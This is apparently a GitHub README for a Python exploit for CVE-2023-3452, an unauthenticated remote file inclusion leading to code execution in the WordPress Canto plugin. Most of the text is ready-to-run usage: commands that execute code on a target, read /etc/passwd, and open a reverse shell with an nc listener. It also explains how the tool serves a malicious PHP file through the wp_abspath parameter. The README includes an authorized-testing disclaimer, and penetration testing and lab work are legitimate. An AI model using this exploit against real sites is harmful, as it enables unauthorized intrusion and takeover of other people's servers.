alpastx/cve-2023-3452---wordpress-canto-plugin-rceCVE-2023-3452 exploit for WordPress Canto plugin RCE, HTTPS support included
Exploit for the WordPress Canto Plugin (≤ 3.0.4) RFI vuln. Actually works on HTTPS — the other public PoCs kinda gave up on SSL.
Credit where it's due: this CVE was found by others. I just made a version that doesn't break on HTTPS targets.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Type | Remote File Inclusion (RFI) → Unauthenticated RCE |
| Affected | WordPress Canto Plugin < 3.0.5 (≤ 3.0.4) |
| Disclosed by | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| Location | /wp-content/plugins/canto/includes/lib/download.php |
| Vector | wp_abspath gets used to include PHP files with zero validation — we include ours remotely. |
Most exploits for this CVE choke on HTTPS because of SSL verification. This script:
verify=False so HTTPS targets actually workrequestspip install -r requirements.txt
Or just: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
| Option | Description | Required |
|---|---|---|
-t, --target | Target WordPress URL (HTTP or HTTPS) | Yes |
-l, --lhost | Your IP — target needs to reach this for the payload | Yes |
-p, --lport | Payload server port (default: 8888) | No |
-c, --command | Command to run on target | No* |
--revshell | Spawn reverse shell | No |
--shell-port | Listener port for rev shell (default: 4444) | No |
-i, --interactive | Interactive shell mode | No |
-v, --verbose | Extra output | No |
--skip-check | Skip the vuln check | No |
* No command = runs id; whoami; hostname as a sanity check
Single command:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
Read a file:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse shell (run nc -lvnp 4444 first):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Interactive mode:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
HTTPS CTF target:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt, parses version (≤ 3.0.4 = vulnerable)wp-admin/admin.php that runs your command via system()download.php with wp_abspath=http://LHOST:LPORT so it includes our remote PHPLHOST:LPORT (for HTB/labs, that’s your VPN IP)-p)Authorized testing and education only. Only touch systems you’re allowed to. Anything else is illegal.
MIT